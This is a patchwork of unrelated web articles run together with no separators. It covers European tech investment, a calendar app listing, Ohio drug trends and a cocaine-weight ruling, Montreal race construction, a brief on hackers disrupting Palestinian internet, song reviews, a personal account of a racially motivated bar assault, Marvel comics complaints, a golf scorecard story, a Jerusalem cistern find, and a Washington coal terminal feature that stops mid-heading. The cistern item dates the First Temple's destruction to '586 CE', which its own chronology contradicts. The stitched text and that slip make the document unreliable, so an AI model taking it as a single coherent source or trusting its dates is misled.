By many measures, the UK is ahead of the others in terms of its digital foundations and sophistication; for example, the proportion of retail in the U.K. penetrated by B2C e-commerce is nearly twice the European average and higher than even in the U.S. The EC would also do well to harness intra-European rivalries that go back centuries, lately relegated to little else than the UEFA League, to get member states to compete with one another and inspire the laggards to catch up with their better peers. According to estimates by McKinsey, if France were to shift into a higher gear and equal the U.K.’s digital state, its total economic gain could be to the tune of Eur 100 billion.
Investing in innovation capacity. To the extent that inputs – such as R&D expenditures – are a proxy for innovation capacity, Europe, according to a June 2015 report by McKinsey Global Institute, spends 2% of its GDP on R&D, about the same as China’s 1.98%, but well behind United States’ 2.8%. More significantly, Europe’s private sector R&D spending at 1.3% of GDP, compares poorly with that of the U.S. (1.8%), Japan (2.6%), and South Korea (2.7%). Europe’s gap is concentrated heavily in electronics, software, and internet services. In their tracking of “unicorns,” or venture-backed companies valued at $1 billion or more, the Wall Street Journal and Dow Jones VetureSource find that as of July 2015, a mere 8% are Europe-based, compared to 25% from Asia, and 67% from the United States.
A major reason for this deficit is insufficient investment. Traditionally, Europe’s growth has been financed to a significant extent by the banking sector, and there has historically been a continent-wide leeriness towards the provision of risk capital by other financial types. Venture funding for European digital groups in 2014 remained a fifth ($7.75 billion) of that of the United States ($ 37.9 billion). Another area where the absence of a vibrant VC and corporate investment culture hurts promising startups in Europe is that, because realizing gains from an IPO on European exchanges is still difficult, a primary exit for entrepreneurs is to sell to U.S.-based corporations – prominent examples being Skype, founded in Estonia, acquired by eBay in 2005 for $2.6 billion, and Swedish Mojang AB, the maker of the “Minecraft” video game, acquired by Microsoft for $ 2.5 billion in 2014.
What Europe needs is a self-reinforcing cycle to kick in with a critical mass of VC-backed companies that have demonstrated some measure of scaling-up and success in growing valuations and promising exit options – crucial to attracting more investments in the tech sector.
Developing a risk-tolerant culture. The essence of Silicon Valley – among its other supporting attributes — is a culture and an ecosystem that engenders a willingness to take risks and fail. Even Asia – particularly in China and India – such cultural shifts are visible; Europe still frowns on failure. According to a study from Youth Business International and the Global Entrepreneurship Monitor, those aged 18-35 in the EU were much more likely than anywhere else in the world to be deterred from entrepreneurship by a fear of failure. More than 40% in Europe cited fear of failure as a barrier, compared to just 24.0% in Sub-Saharan Africa and 27.7% in Latin America.
Changing attitudes toward failure requires cultural shifts. Some of the best places for such changes to take root are in the cities that become technology hubs: Berlin, London, Barcelona are examples. Even Tel Aviv (though technically not in Europe, but with strong linkages to the continent) can act as such a hub, given its thriving start-up culture. Universities also play a central role. Several European schools have facilitated such startup ecosystems; some notable examples include: the Heriot Watt University in Edinburgh; Chalmers University in Goteborg, Sweden; the universities of Twente, Groningen, and Leiden; the Federal Institutes of Technology in Zürich and Lausanne; and in the U.K., Oxford and Cambridge.
Reforming immigration policies. Europe is experiencing an entirely separate crisis in dealing with the influx of illegal immigrants and political refugees. Even legal immigration can be a contentious political issue, especially when unemployment rates among those with tertiary education in countries such as Greece, Spain, and Portugal are high, and rising. The recent rise of the anti-immigrant hard-right parties in countries such as Denmark and Finland makes it harder for a pro-growth immigration policy to take root region-wide. It’s role in welcoming Syrian refugees notwithstanding, Germany’s policies towards highly skilled immigrants from outside the EU remain ambivalent, at best. Its proposal to bring in information technology workers from India, prompted the Christian Democrats to campaign on the slogan Kinder statt Inder, “children not Indians.”
The continent is aging, and pro-growth immigration can help replenish the youth and entrepreneurial talent pipelines. According to a McKinsey report, if Europe boosted its immigration from outside Europe, from 2.6 people per 1,000 inhabitants per year to 4.9 people, it could compensate for its projected 11 million drop in working-age population in 2025. Also, there is evidence from across the Atlantic that immigration spurs entrepreneurship, particularly in the digital industries: According to The Economist, over 40% of Fortune 500 firms in the United States were founded by immigrants or their offspring; while the foreign-born constitute barely an eighth of America’s population, a quarter of technology startups have an immigrant founder. Engine, a startup advocacy, completes the picture with its assessment that 4.3 new jobs emerge in the local economy over time for every job created in the high-tech sector; more than three times the local multiplier for manufacturing jobs.
We improved everything but kept it familiar.
For questions or problems see our new help system at https;//acalendar.tapirapps.de or contact our support at support@tapirapps.de
FEATURES
● intuitive navigation between day, week, month and agenda view
● 7 powerful widgets
● year view
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● Google Calendar management
● per-event colors (even if not supported by the event's calendar)
● flexible recurrences
● birthdays from your contacts (or without contacts)
● uses Android's native calendar backend and synchronization
● moon phases
● mini month or graphical week overview in day and week view
● free with ads (less than daily) and some one-time IAPs
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Heroin addiction is causing an uptick in cocaine availability just as a recent court decision hinders prosecution.
The Ohio Substance Abuse Monitoring’s recently released drug trend report indicates the heroin epidemic is driving an increase in other drugs pretty much statewide. Other drugs, especially cocaine, are sometimes being used in conjunction with heroin or as a fallback when a user can’t get heroin, according to the report.
At least one law enforcement official in the Cincinnati region reported crack cocaine is coming on like it did in the early 1990s, and the report surmises it’s “almost as available as heroin in most areas.” However, the penalties for cocaine were essentially decimated in late December by an Ohio Supreme Court opinion that leaves prosecutors with little choice but to charge all cocaine charges as fifth-degree felonies, regardless of the amount, until state legislators tweak the law.
“Many of the people we arrest for heroin have more cocaine on them than heroin,” said Chillicothe Police Chief Keith Washburn.
About 21 percent of all 3,238 drug overdose deaths in Ohio in 2015 involved cocaine and more than half of those also involved heroin, according to Ohio Department of Health data on all drug overdose deaths obtained by the USA TODAY NETWORK-Ohio.
In Licking County, cocaine was involved in one 2015 drug overdose death, which also involved heroin.
“We have seen a rise in cocaine both powdered and crack cocaine in the last six months,” said Lt. Paul Cortright, with the Central Ohio Drug Enforcement Task Force. “It is partly a natural cycle, but the dealers are not going to sell unless there’s an outlet for it.”
He said the increase might have to do with the fact tar heroin isn’t as popular as some of the synthetics now. Opiates and heroin have a “foothold” in Licking County, but the area has a larger user base of methamphetamine.
“We still see three times more methamphetamine than heroin and cocaine in Licking County.”
Data on cases pulled by OSAM from the National Forensic Laboratory Information System indicate between January and June 2016, cocaine cases were up 9.5 percent statewide while heroin cases were down slightly 2 percent from the previous six months, July to December 2015. The report indicates an increase in both powder cocaine and crack cocaine, although one interviewee said heroin is even easier to obtain than aspirin because it can be delivered.
“I think people are just getting sick of the possibility of overdosing ... the fear of overdosing and dying has turned them in a different direction (away from opiates and towards cocaine),” the report quoted a Cincinnati region law enforcement professional.
The drug trend report is done every six months through interviews with several hundred people including law enforcement, treatment providers, and, for the current report, 333 active and recovering drug users from each of the eight state regions.
Due to the seeming saturation of heroin —which the report notes continues to increase in Cincinnati, Dayton, and Toledo regions —competition is high and is suspected as the reason the quality is being enhanced with more powerful opiates, like fentanyl and carfentanil. A participant in the Athens region said that’s why there are so many overdoses.
“You might get this (batch of heroin) and you need this much of it. Then the next day, or even later on that same day, half of what you did before could kill you,” the report reads.
The trend with cocaine is the opposite - it’s being cut with essentially any white-ish powder substance like baby formula and baking powder, to extend the amount on hand to sell. The filler in it is the exact issue at hand in the Ohio Supreme Court opinion.
In the midst of the holidays, the Ohio Supreme Court issued an opinion in a case that questioned whether the law allows filler substances cut into cocaine to be considered as part of the weight used to determine the degree of a possession offense. In a four-to-three decision, the court ruled that, as currently written, the law requires the charge to be based on the amount of pure cocaine, meaning no filler.
Law enforcement and prosecutors across the state rely on free testing by state crime labs, none of which are certified to do purity tests on cocaine. While there may be independent labs that could test purity, Ross County Prosecutor Matt Schmidt told the Chillicothe Gazette in early January the problem then becomes cost. Not only would there be a cost to do the test, but once cases went to trial, the prosecutor's office would have to pay the travel and other expenses to get an expert from the lab to testify.
Rep. Bob Cupp, R-Lima, is finalizing legislation to tweak the law.
“I’m bird-dogging this issue because it does punch a serious hole in our prosecution of possession and trafficking of cocaine,” Cupp said. “It’s really important to close that hole just as soon as possible.”
Cupp plans to introduce his bill soon and anticipates it will move quickly through both the House and Senate. Emergency language will also be added so if it passes, as is expected, it would go into effect immediately upon Gov. John Kasich’s signature. Cupp is hopeful the entire process can take place by the end of February, which would be unusually fast for most legislation.
Wallace said they can’t put a hold on enforcement and filing charges waiting until the legislature makes a change.
“They say they’re going to fix the cocaine law, but how long is that going to take?” Wallace said.
Wallace pointed to the stalled Senate bill which aimed to address penalties for fentanyl. Ohio law currently is written to address doses of prescribed fentanyl, not the illegally made fentanyl being sold throughout Ohio and added to heroin.
Sen. Frank LaRose, R-Hudson, introduced a bill to address it in October 2015, and while it was passed by the Senate during lame duck session in December, it didn’t make its way through the House before the end of session.
“We’re still doing everything we can to find anything and everything we can,” Wallace said. “It’s discouraging, but we took the oath a long time ago to uphold the law whether we agree with it or not.”
Some Cincinnati law enforcement told OSAM a previous law change regarding crack cocaine also likely plays a part. In response to the increased use of the drug in late 1980s and early 1990s and the war on drugs, crack cocaine penalties were boosted. However, Ohio’s law changed in 2011 to make the penalties the same regardless if the cocaine is powder or cooked into crack cocaine.
Lab cases of heroin and cocaine
Heroin Cocaine Region July-December 2015 January-June 2016 July-December 2015 January-June 2016 Columbus 1,323 1,173 797 735 Cincinnati 3,036 3,371 1,544 1,893 Athens 445 421 246 253 Toledo 840 897 406 506 Cleveland 2,491 2,153 1,864 2,139 Dayton 1,766 1,738 1,365 1,349 Youngstown 786 750 520 494 Akron-Canton 453 430 356 404 Total 11,140 10,933 7,098 7,773
Source: OSAM Drug Trend Report for June 2016 query of National Forensic Laboratory Information System
CTV Montreal
The city of Montreal is preparing the area around the Maison Radio Canada for this summer's Formula E race, people who live in the neighbourhood are getting fed up with the noise.
Construction is proceeding 24 hours a day, seven days a week, to repave and reshape the roads so they are fit for high-speed racing.
But residents say the noise is hellish and preventing them from getting any sleep .
Projet Montreal mayoral candidate Valerie Plante said it's yet another example of poor planning by Denis Coderre's administration.
"If the mayor wants to move so fast that it's for the Montrealers to pay the price, again, of not sleeping at night," said Plante.
The 2.75 km course runs along René Levesque Blvd, Viger St., Notre Dame St. and Saint Antoine St. with a paddock off Papineau Ave.
Construction to perfect the roads is costing $4.6 million, and installing barriers will cost an additonal $17 million.
Plante said more work should have been completed last year.
She also said the idea of showcasing an electric-car race to demonstrate Montreal's 'green' side would be better served in another fashion.
"The mayor is putting all his efforts into this as a way to show the world that Montreal is all about electrification and to me we should think of electrification that benefits all Montrealers."
The city of Montreal said it has only received five complaints about overnight noise levels.
The construction is supposed to end by May 31.
The main phone network in the West Bank and Gaza has suffered a sustained attack by computer hackers, the Palestinian Authority (PA) says.
It says most of the Palestinian territory has lost internet service.
PA spokesman Ghassan Ghattib said the attacks started in the morning and came from multiple sources around the world.
He said he did not know if the hacking was linked to the Palestinian leadership's successful bid to get membership of Unesco on Monday.
The move by the UN's cultural and scientific organisation was strongly criticised by Israel and the United States.
The US immediately announced it was cutting off all of its funding to UN body.
Prolonged lack of access to the internet would prove costly to many Palestinian businesses.
Sure, we do have our share of mediocre fare clogging up the airwaves in this new millennium – as did every other era, but I digress. Of course, all is not lost.
There are still consummate artists in a variety of song-smithing styles, plying their trade in the recording studio and inspiring with their approach to the art, both in terms of composition and the technical sphere. We took a closer look at three recent tracks that have really blown our socks off.
There is incredibly inspired and innovative music being birthed into the world every day. Here we dissect and analyse three recent tracks that have really blown us away.
Andy Shauf – The Magician
It would be trite to suggest that the title of this song reflects some magical qualities inherent in the music, but there are some sleights of hand that are worth mentioning, considering that the song generally conforms with pop idioms.
The intro, for example, features a melody that begins and ends on a G sharp note, when the tonic key is D major. The textbook would suggest that this is a very harsh juxtaposition between melody and accompaniment. It doesn’t sound particularly dissonant at all though, just uneasy. From the get-go, we’re placed in a world where things aren’t quite what they seem.
When Andy Shauf himself enters the frame, he doubles-down on the ill-at-ease atmosphere with a sudden shift to the relative minor, and slippery vocal melody that shifts chromatically with lyrics that are slurred together. But when the chorus arrives, it couldn’t be any more classic pop if it tried, with a 60’s inspired “do-do-do” lyric.
Things get busier in the second verse. The hitherto emphasis on the downbeats – struck heavily with the piano chords and bass are overtaken by the countermelody in the strings, topped of with a samba inspired triangle rhythm. The call of the vocals are responded to with a clarinet melody.
This mixture reads like a cacophony on the page, but it all still works to serve the song – largely due to the very simple bass and drum groove that underpins the deftly woven melodic layers. The other musical entry of note is the electric guitar riff in the last chorus, centred around an ascending approach to the tonic D, then a dramatic drop to the octave below.
Shauf has a reputation for perfectionism and he’s clearly a connoisseur of tone. The coupling of complimentary colours – the way the electric guitar is carefully tucked in underneath the clarinet in the intro, the subtlety of the handclaps buried in the snare, the synth pad that emerges from the mix at the very end – is designed create unique surprises in every phase of the song.
The spine of the piece, the sparse and searching vocal, is delivered with raw intensity and intimacy, and acts as a counterweight to the intricacy of the instrumental arrangement. Very clever track.
Beach House – Sparks
Baltimore’s Beach House have spent a career carving their own niche. They’ve pursued an aesthetic that has married conventional pop structures with deep and opaque sonic landscapes – a sound so evocative and fascinating that it has spawned many an imitation, as well as a committed fan base.
Their last two releases appeared within a couple of months of each other, which is in keeping with their outlook: doing it their own way. Sparks (second track on the first of the twin releases, Depression Cherry) follows a similar compositional formula that has been peppered throughout their previous material: repetitive, short, melodic phrases and chord progressions, signature guitar riffage, and a danceable but down tempo drum machine groove. Ostensibly, not necessarily an ingenious formula, but the inspired assemblage of these simple, moving parts creates something memorable.
Consider the opening – a vocal sample on loop, lyrics obscured. A blazing, visceral one string guitar riff spelling out the tonal centre of the harmony. Rhythmically, these two layers are oddly out of sync. But then the drums fade in to make sense of it all. The booshie groove is deftly in the pocket now, and then the bass drops – not where you’d expect (on the tonic B flat), but instead spelling out a bewitching chord progression: simple, but ambiguous. This is all before the singing appears.
Vocalist Victoria Legrand has a unique way of inhabiting a song. Such is her talent that she can tailor make a vocal character to convey the deepest of emotions, with a surprisingly economical approach to lyrics. The phrases are sparsely set among the backdrop to allow the listener to peek inside the harmony, and inhabit the dreaminess of the sound. And while the verses are harmonically enigmatic, the choruses provide the classic “payoff” moments, with the return of the guitar hook.
In terms of tones, Sparks marks somewhat of a departure from the archetypal Beach House sound. Alex Scally’s usually hyper-clean, chorus soaked arpeggio’s are sidelined in favour of a much more fuzzed-out guitar tones. It does appear in pre-chorus moments, but generally, distortion rules the day here.
The mix achieves a great balance between the new elements that are brought in consistently throughout the piece. It would have been quite a challenge for producer/mix engineer Chris Coady to allow the loopy elements of the arrangement to keep returning, as well as carving out new territory for Legrand’s reverberant vocal layers.
The Avalanches – If I Was a Folkstar
In the time of The Avalanches hiatus, many bands and/or musical careers had lived and died. Even entire musical genres had peaked and fallen out of favour. Yet one could imagine how this came to pass. The seminal Since I Left You was such a monumental surprise in terms of critical and commercial success, that the band had every right to take some time to figure out what the hell just happened. Couple that with the fact that making their beyond-complicated sample based collages requires incredibly painstaking care to compose, to their notoriously exacting standards, sixteen years doesn’t seem like such a long time.
Back they are with Wildflower, a sweeping epic encompassing disco, hip hop, found-sounds, ambient soundscapes and many splintered styles in between. If I Was A Folkstar combines a brilliantly wispy, folk-inspired guitar and vocal performance from Chaz Bundick – better known as Toro Y Moi, and a truly canny choice of collaborator – and The Avalanches customary melodic, dancefloor friendly bass and drum grooves. And though the harmony and melodic choices are incredibly tasteful in this song, this band relies on something quite different to transport their audience to sonic fantasia – a commitment to hypnotic repetition and samples that are designed to invite the listener into the narrative of the song.
Some of the sounds that make up this collage include a driver flipping through stations on the car radio, sliced up car horns, the general hubbub of a stressful city. The heavily melodic bass groove, the catchy synth-flute and chime hook is gently opened up through a low-pass filter, high-pitched, ethereal “ooohs” a floating just beyond grasp. It feels like you and song a waking up together, deciding if you’re ready to handle what the has in store.
The song rarely strays from its harmonic core, and doesn’t rely on typical formulas of structure. This makes the song’s ability to traverse emotional terrain all the more beguiling – it doesn’t possess the standard levers to pull to create excitement, melancholy and serenity. Yet it achieves all this and more.
As you can see, those nostalgic for a golden era can take heart. Musical ingenuity is alive and well. And though these examples all contain a nod to previous fashions in various forms, that is far from a new musical phenomenon. Evident in all pieces is an all consuming drive for the betterment of their craft, and a skilful balance of technical and compositional considerations, working together to create maximum emotional impact.
6:45 PM: Your fiance parks the car and the two of you get out and walk the few blocks to Dandelion Market. Your heart is bursting with love and pride for your partner who looks very handsome in his “interview” suit. As a Sikh, he is wearing his “African-style” black turban and his full beard is neatly brushed and tied so it lies smooth against the contours of his face. He’s also wearing one of the Polo colognes and he smells wonderful! You’ve been told the two of you make an attractive, striking couple, and you are aware of some admiring glances as you walk hand in hand down the street.
You’re also aware of a few not-so-admiring glances – whether at his turban or because you’re an inter-racial couple, you don’t know. It’s not a big deal. You’re used to it by now. Sticks and stones may break your bones but words will never hurt you … (oh, but you didn’t know then you had to be wary of sticks and stones! You’ll know by the end of the night, however.)
7:00 PM: You arrive at Dandelion Market. You walk past some large men (bouncers?) and the girls in the front greet you pleasantly and check both your names off the guest list and direct you upstairs to your company Christmas party.
7:00 – 10:00 PM: The whole top floor of Dandelion Market has been reserved for your company’s private party. You have fun at the party, introducing your fiance to some of the people you work with. The two of you spend a long time in pleasant conversation with your immediate supervisor and his wife and your closest coworkers. The new owner of one of the shopping centers your company manages strikes up a conversation with the two of you, which eventually includes the topic of diversity in Charlotte (which he’s a big proponent of). Of course, there’s also the coworker who has barely spoken to you at work since she first saw a picture of your fiance, and she barely speaks to you here. Whatever. Your fiance notices her rudeness and that of one other coworker and comments on it. You agree but don’t want to make him feel bad by saying the reason why. He already knows anyway.
10:00 PM: The floor becomes open to the public. Friendly girls put wristbands on your wrists, explaining that you’re welcome to stay as long as you like and your drinks and food will be covered by your company.
11:00 PM: You go downstairs to the kitchen to see if there’s anything vegan you can order. The only thing they have is fruit and pita wedges. They heat up the pita wedges, tell you there’s no charge because of your wristband, and you carry the food upstairs. You and your partner sit in a private booth together, talking and eating bread.
Around 11:15 PM: You get up to go to the restroom and see a large man walking to your table.
While you are in the restroom, the bouncer tells your fiance he has to leave. When your partner responds why, the bouncer says it is because he was sleeping. Your partner responds he was not sleeping and had in fact been eating. In response, the bouncer grabs him by the neck and physically pushes him across the room, down the stairs, and to the door. Making a public show and spectacle.
You come back to the table, unaware that anything is wrong. You think your partner must have gone to the restroom himself. You drink some water, eat some bread.
Time passes.
You begin to feel slightly worried.
The bouncer returns to your table and tells you “your husband has been removed and he’s probably waiting for you outside.” Your heart races. Removed? Why? What happened? When you left, things were fine – you had been sitting together in a private booth, eating and talking! Had someone come up and started a fight with him? Swung a punch? You know your fiance is not a violent guy. Heck, he’s vegan. The two of you are as peaceful and harmless as they come.
You run downstairs and see him at the entrance to Dandelion Market, just inside the foyer. He tells you he has been removed because he was “sleeping.” You know that is not so because you were with him. You spoke to one of the principals of your company 30 minutes ago, you know after spending what must easily be several thousand dollars on the party he would not want your fiance to be removed. You head upstairs, confident that the principal will talk to management and take care of it.
YOU NEVER MAKE IT UP THE STAIRS. You are slammed from behind. You are grabbed by the upper arms and then the wrists and pulled downstairs. At some point you fall. When you yell “WHY?” the response is, “Because you’re with HIM.” You are thrown out the door.
11:30 PM. You are standing across the street, looking at Dandelion Market in hopes you will see your fiance if he is waiting there for you.
You don’t know what may have happened to him.
You’ve been beaten – he may have been, too.
Or worse.
You don’t want to think about the worse.
But you can’t NOT think about it.
You’re calling and texting, texting, TEXTING your fiance on your cell phone and there’s no response.
People on the street are STARING.
You’ve dressed so carefully for tonight but now you are crying and your mascara is running down your face.
Your dressed is ripped, ruined.
Your hose are torn.
You’re missing one of your pearl earrings.
You have NO EFFING IDEA WHAT THE HELL IS HAPPENING OR WHY!
A coworker comes and sees you standing on the street crying. He comes over to help. At about that point your fiance (wherever he was) sees you and runs over. During the time you were attempting to go upstairs, he was speaking to the manager arguing he was not sleeping and was told he was removed “because people were complaining about the Muslim guy being there.”
You go home. People advise you not to say or do anything, it will just be your fault because you were drinking. (Your fiance had actually stopped hours ago, and you’d had four drinks in four hours. What the heck, it is a bar. And the company Christmas party.)
You stay in bed, bruised and depressed for several days.
Your body hurts like hell.
Then you think, f*ck it, even if the police can’t do anything you’re going to report it anyway.
If it’s happening to you, it’s happening to others.
They can bruise your body but they can’t shut your mouth.
Going to the police turns out to be a comedy of errors. You give the report to the cops over the phone. They say they will send out an officer. Then they say come into headquarters. Then they say they can’t find the report that was just taken, so wait for officers to come by to file a new report. The officers eventually do. They have a look of extreme boredom and warn that it’s a private club (actually, it isn’t) and therefore they have the right to turn away anyone. The club also doesn’t have to release the name of the bouncers or of any video footage.
The police don’t even want to file a report until they see the bruises on your arms. They visibly flinch when they see those. They don’t want to see the bruises on your back, though.
People tell you the news media might be interested. In fact, you do have a top reporter interested in your case, but then the matter kinda drops. Maybe she really was interested, but obviously her network wasn’t. Discrimination and hate crimes against Sikhs and Muslims (or people just assumed to be Muslims) aren’t really hot topics. If you were black or gay, probably you could have gotten some token coverage. Indian … well that’s not really topical. That’s not hot.
Lawyers aren’t interested either. You can’t get a lot of “damages” for bruises.
So, eventually, the only thing left to do is … take it to the people.
Last time, I had a good set of rules for this list, and this time around, I've gotten a bit more lenient. Every story arc has to come from post House of M, and on top of that, it doesn't even have to be a single story line. It can be multiple, consecutive runs of story lines. I really just made this rule so I could fit in my least favorite run in all of comics that used to be great.
Spider-Man: One More Day
What Was Going on Before this Storyline?
AMAZING SPIDER-MAN took some great risks in story telling. Prior to One More Day, Spider-Man revealed his identity to the world in the Civil War story line, which surprisingly enough, was a great tie-in. Because of Peter revealing his identity, the Kingpin has a sniper to shoot Aunt May. While May is in a coma, Peter puts on the black outfit and goes on a rampage and realizes he's become a criminal in order to fight them.
What Was One More Day?
Essentially, it was a giant reset button. In order to save Aunt May's life, Peter went to everyone he could think of, and no one would help until he met Mephisto. Mephisto offered Aunt May's life in exchange for his marriage to Mary Jane: including another deal where everyone forgets he is Spider-Man. Peter would also forget about everything from his marriage.
Why Was it so Disappointing?
One of the rumors on the net was that they (the powers that be) just wanted Spider-Man to be single. If that's the case, just give him a divorce. There was tons of great character development and world development prior to this story line, and they (the powers that be) threw it all away and reset everything. It was and still is a complete bummer. Plus, why does Mephisto give a flying poop about Peter's marriage? All-in-all it's an incredibly sloppy story.
Worst Moment:
That everything cool done in the Spider-Man books has been completely undone, and on top of that how bored is Mephisto?
Oh... He's THAT bored.
Every Other Young Avengers Title
What Was Going on Before this Storyline?
The Young Avengers are awesome. I'm not going to beat around the bush here. If Allan Heinberg and Jim Cheung are involved, Young Avengers are amazing. The first YOUNG AVENGERS series was awesome and nothing like anyone expected. Essentially, the team comes together, we find out that Iron Lad is actually Kang, and if he doesn't become Kang, existence goes kaput! Overall, it was one of my favorite Marvel mini-series, and this team became one of my favorites as well.
What is every other Young Avengers title?
Every other Young Avengers title is a tie-in by a random creative team. There are three mini-series to choose from: Dark Reign: Young Avengers, Civil War: Young Avengers & Runaways, and Secret Invasion: Runaways/Young Avengers. All the books deal with how these heroes would react in each major event. They really don't have a major part in the overall event, so this was a "what are they up to" bunch of mini-series.
Why Was it so Disappointing?
Because it took a great team, a great story, and flushed it down the toilet by luring people in and fans realize that each mini-series was either terrible or "just ok" at best. The Dark Reign tie-in was probably my least favorite of the bunch, which is pretty weird considering that I'm a big fan of Paul Cornell, who wrote this series. The Dark Reign mini-series focused on the Young Avengers and a new group of heroish people. Frankly, it was way too many people, and like every Young Avengers tie-in, the artist and writers didn't capture these characters anywhere near the way Heinberg and Cheung did.
Worst Moment:
The team being ruined for me. When Avengers: Children's Crusade came out, I almost didn't buy it. I was so bummed about past mini-series that I felt like it just wasn't worth it. Overall, the worst moment is just the idea that Marvel used these characters just to bring in some quick cash.
I feel just as sad about these tie-ins as these characters look.
Exiles Issues 90-End
What Was Going on Before this Storyline?
EXILES was a beast. It was my favorite comic during that period and my favorite team. For those who don't know, the Exiles are a team of Marvel characters from different universes who have to come together to save other universes... It's Sliders in the Marvel Universe. Right before this disappointment happened, the Exiles went on a tour of many different and familiar Marvel universes, including New Universe and 2099. Tony Bedard's wonderful run comes to a close, and issue 89 goes back into the team's past and the reader gets to relive some past memories with Thunderbird, who died earlier in the series.
What Was the end of this series about?
It was 100% about Psylocke and Chris Claremont reshaping the team in his image. Claremont, at one time, was a go to guy for writing any X-book, so adding him to this series seemed right. During his 10 issue run, Claremont explores relationships between team mates and fights between bad guys. There's nothing within his run really worth mentioning, sadly. He feels like a fill-in writer that lasted for 10 issues.
Why Was it so Disappointing?
Out of any disappointing moment I've mentioned in either articles, this takes the cake, eats it, then poops it out of my front lawn. Claremont shifted the focus of this book and made it less about a team trying to make it home and work together, and he made it into the Psylocke show. On top of that, dialogue became rigid and over-explanatory. Overall story arcs were disappointing and pointless. The best part of his run was when it ended, even though the series ended with him.
Worst Moment:
Now, I can't say that Claremont jumping on was the worst moment, but I can say two issues in that I knew he was a terrible fit for this book. It was tough to realize that Judd Winick is never coming back to this book.
I guess the worst moment is believing that one man killed the book so hard that not even Jeff Parker's second volume could save it... If they only listened to Morph...
There you have it! My most disappointing moments in Marvel story lines. What are your most disappointing story lines or even runs of Marvel books?
There were four people clapping.
”Hey, it’s just golf,” Bowditch said with a shrug.
Bad golf, but golf nonetheless. Bowditch shot 84 on Sunday in his final round at Doral, his fourth straight round in the 80s. He was 37 over for the week, his 72-hole score of 325 the highest ever recorded in a World Golf Championships event. His score was so bad that a young volunteer who was tasked with following Bowditch around with a portable scoreboard was told not to post any numbers, and no one questioned that logic.
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”I think there was four dozen golf balls at the start of the week in my locker,” Bowditch said. ”And I’m down to my last one.”
The Australian’s sense of humor was intact, at least.
Bowditch isn’t some hack who made the Cadillac field as a fluke. He’s a two-time winner in the U.S., a winner of more than $6.6 million in PGA Tour events, a past President’s Cup player and came into the week ranked No. 78 in the world.
His week at Doral started with a birdie. Unfortunately for him, there were 71 more holes that turned into a lengthy series of disasters. There was the triple-bogey that capped his opening-round 81, then a combination of a triple-bogey, quadruple-bogey and sextuple-bogey – that’s a 10 on a par-4 – in his second round on Friday.
For his 36 holes on the weekend, he made more triple-bogeys (three) than birdies (two).
”It’s the Blue Monster for a reason,” Bowditch said. ”I wasn’t driving it the greatest here, and it’s all over if you can’t drive it.”
Quitting, he said, was not a consideration. He could have found a way to withdraw and still picked up a check, but he figured his game needed the work anyway so he kept going.
”I shot 37 over par and still made a paycheck,” Bowditch said. ”All’s not that bad.”
Not a bad paycheck, either. He’ll earn $48,000, despite being the first player to shoot four rounds of 80 or more in a PGA Tour event, officials said, since Mike Dunaway posted four consecutive 81s in the 1983 Panasonic Las Vegas Pro-Celebrity Classic – a five-round event. The previous high score in a WGC stroke-play event was 323, by Huang Ming-jie at Shanghai in 2013.
Painful as it was for Bowditch, at least Sunday’s round went quickly.
Playing alone for the second straight day, Bowditch finished his round in 2 hours, 12 minutes. He signed his card, opened a Diet Coke and was thinking about teeing it up in a couple days in Tampa by the time most of the leaders were even warming up for their final rounds at Doral.
The cistern, which held 250 cubic meters of water, was discovered adjacent to the western side of the Temple Mount during an ongoing excavation at the site, the IAA said in a statement.
The discovery shows that the city’s water supply at the time did not rely solely on the Gihon Spring, Jerusalem’s only natural water source, but rather included large man-made reservoirs of the kind now uncovered, according to the IAA.
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The unique size of the cistern — the largest of its time to be discovered in the city — and its location suggest the possibility that it played a part in the ritual activities at the Temple, according to archaeologist Tsvika Tsuk of the Israel Nature and Parks Authority.
“It is possible that the large cistern found next to the Temple Mount was used in the daily operation of the Temple itself, and also served the pilgrims who came to the Temple and needed water for washing and drinking,” Tsuk said, according to the IAA statement.
The cistern was waterproofed with a yellowish plaster typical of the period, with handprints still visible on the walls, Tsuk said.
The First Temple was built around 950 BCE, according to the biblical record, and destroyed by a Babylonian army in 586 CE.
Construction of the Second Temple commenced some 50 years later. The Temple Mount as it currently exists dates to an expansion and renovation of the compound by Herod the Great five centuries after that, about 2,000 years ago.
The Second Temple was destroyed by Rome in 70 CE.
Lori Black is one of the first employees to arrive most days. She knows the site well, has worked there for 12 years. Five years ago, Millennium Bulk Terminals acquired the 540-acre site. Officials planned to convert an old aluminium smelter into a profitable industrial export facility. They restored a wetland area in one part of the site to show their commitment and began the permit process to export coal.
That was four years ago.
Today, there are more birds and fish on the site than workers, and the coal terminal project has yet to be approved. The project’s environmental approval process is nearing the longest in the history of Washington state.
The terminal’s extended delay has had an economic impact on Longview, where the unemployment rate is roughly 8 percent, higher than the average for both the country and the state of Washington as a whole.
If completed, the project will export 44 million tons of coal per year to East Asia and provide jobs not only in Longview, but further inland in states like Wyoming and Montana.
The Washington Ecology Department told The Daily Caller News Foundation its final environmental review on the coal terminal will be released in 2017.
Regulators want the project to mitigate 50 percent of the greenhouse gas emissions generated not only at the site, but also from the use of the exported coal in Japan or Korea. Supporters call the regulation unprecedented; no other project in the state has been forced to consider life-cycle emissions.
“The precedent that the [draft environmental impact statement] sets would have enormous impacts for businesses across Washington State,” explained project President Bill Chapman who is an environmental lawyer by trade.
“Imagine if Boeing were required to include a calculation of the emissions from every flight one of its planes may take. Or if Amazon had to mitigate for the impacts for every product it shipped, no matter the usage,” Chapman said.
Chapman’s staff is small. The site only employs a mere 36 employees. If approved, that figure would jump more than 10 times, all for the local community. The 300-plus jobs would be in addition to the 2,650 linked to the construction of the $680 million project, as well as benefits to coal-mining communities in other states. Supporters estimate the terminal will generate $5.4 million annually in taxes for the state of Washington.
“It’s an economy that used to have twice as much income and activity. With unemployment at 8 percent, this community needs jobs. And not just minimum wage or service jobs – we need family wage jobs, which is what the community is used to and what Millennium will provide,” Chapman said. (RELATED: DOWN IN THE HOLE: A Look At The People And Way Of Life Suffering Under Washington, DC’s Plan For Coal)
While at work, Black often talks about the future of her two sons and the town they call home. Her youngest son is in the National Guard and is studying at a community college with an eye toward a future in the legal profession, she says. Her eldest graduated from community college two years ago, but was only able to find work at the local Kentucky Fried Chicken. He might have been lucky to find even that; the Longview Kentucky Fried Chicken is the only KFC for a 45-minute drive in either direction along the nearby I-5.
While both of her parents worked in timber mills, Black’s career followed a different path. After earning a university degree in California, she returned to Longview to try her hand in industrial work, eventually becoming an ore loader. It was difficult work, but she got the hang of it. When the site began using a safer automated system, she was elated. Yet, the improvement was short-lived as the smelter closed one year later.
The Man They Named The Town After
